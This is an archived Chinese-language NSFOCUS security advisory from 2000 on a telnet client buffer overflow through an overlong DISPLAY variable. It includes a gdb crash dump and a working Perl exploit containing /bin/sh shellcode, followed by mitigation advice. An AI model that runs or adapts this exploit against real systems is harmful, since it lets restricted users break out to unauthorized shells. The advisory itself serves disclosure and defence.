首页 -> 安全研究
安全研究
安全漏洞
BSD/Linux telnet 缓冲区溢出漏洞
发布日期:2000-09-25
更新日期:2000-09-25
受影响系统:
telnet描述:
- RedHat Linux 6.x
- FreeBSD 4.x
- Solaris 2.6/7/8
很多BSD/Linux系统所带的telnet客户端程序存在一个缓冲区溢出漏洞。如果将DISPLAY
变量的内容设置为一个超长的字符串,可能导致telnet发生溢出。
目前经NSFOCUS测试受影响的系统有:
FreeBSD 4.1 (变量长度超过1000字节)
RedHat 6.1/6.2 (变量长度超过2000字节)
Solaris 2.6/7/8 Sparc(变量长度超过1000字节)
其他的操作系统所带的telnet也可能受此漏洞影响。
由于telnet通常没有特殊权限,因此正常情况下这并不算是安全问题,然而,如果对于那
些不为用户提供shell访问权限的系统,这个漏洞可能导致能使用telnet程序的用户获取
shell权限。
下面的例子是在一台Solaris 8下测试的结果:
# export DISPLAY=`perl -e 'print "A"x1000'`
# /usr/local/bin/gdb telnet
[...]
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
Program received signal SIGBUS, Bus error.
0x16f3c in Scheduler ()
(gdb) i r
g0 0x0 0
g1 0x0 0
g2 0x36f50 225104
g3 0x36f74 225140
g4 0x28 40
g5 0x0 0
g6 0x0 0
g7 0x0 0
o0 0x1 1
o1 0x3503c 217148
o2 0x35f80 221056
o3 0x349c4 215492
o4 0x349cc 215500
o5 0x1 1
sp 0xffbef3b8 -4262984
o7 0x16f30 94000
l0 0x41414141 1094795585
l1 0x41414141 1094795585
l2 0x41414141 1094795585
l3 0x41414141 1094795585
l4 0x41414141 1094795585
l5 0x41414141 1094795585
l6 0x41414141 1094795585
l7 0x41414141 1094795585
i0 0x41414141 1094795585
i1 0x41414141 1094795585
i2 0x41414141 1094795585
i3 0x41414141 1094795585
i4 0x41414141 1094795585
i5 0x41414141 1094795585
fp 0x41414141 1094795585
i7 0x41414141 1094795585
y 0x0 0
psr 0xfe401002 -29356030 icc:-Z--, pil:0, s:0, ps:0, et:0, cwp:2
wim 0x0 0
tbr 0x0 0
pc 0x16f3c 94012
npc 0x16f40 94016
fpsr 0x0 0 rd:N, tem:0, ns:0, ver:0, ftt:0, qne:0, fcc:=, aexc:0, cexc:0
cpsr 0x0 0
<*来源:Dvorak (Dvorak@synnergy.net) *>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
#!/usr/bin/perl
# Generic exploit program in perl, which clears the environment to take
# away the need for offset guessing.
# Dvorak (@synnergy.net // @hit2000[dot]org) 1999.
$egg = "\x90" x 1500;
$egg .= "\xeb\x37\x5e\x31\xc0\x88\x46\xfa\x89\x46\xf5\x89\x36\x89\x76";
$egg .= "\x04\x89\x76\x08\x83\x06\x10\x83\x46\x04\x18\x83\x46\x08\x1b";
$egg .= "\x89\x46\x0c\x88\x46\x17\x88\x46\x1a\x88\x46\x1d\x50\x56\xff";
$egg .= "\x36\xb0\x3b\x50\x90\x9a\x01\x01\x01\x01\x07\x07\xe8\xc4\xff";
$egg .= "\xff\xff\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02";
$egg .= "\x02\x02\x02/bin/sh.-c.sh";
foreach $key (keys %ENV) {
delete $ENV{$key};
}
# change the size of $buf if you need to.
$buf="";
for ($i = 0; $i < 256; $i++) {
$buf .= "\x01\xda\xbf\xbf";
}
# Put here your use for $buf, the string to exploit the vulnerable
program with
$ENV{"DISPLAY"} = $buf;
$ENV{"egg"} = $egg;
system("/usr/bin/telnet localhost");
printf("Exploit done\n");
建议:
临时解决方法:
如果您的系统不希望用户获取非法的shell访问权限,NSFOCUS建议您在未打补丁或
者升级以前,暂时禁止那些用户访问telnet程序.
如果您可以获得telnet得源码,您也可以自行修改,检查DISPLAY变量的长度,重新
编译。
厂商补丁:
目前厂商还没有提供补丁或者升级程序。
浏览次数:7416
严重程度:0(网友投票)
绿盟科技给您安全的保障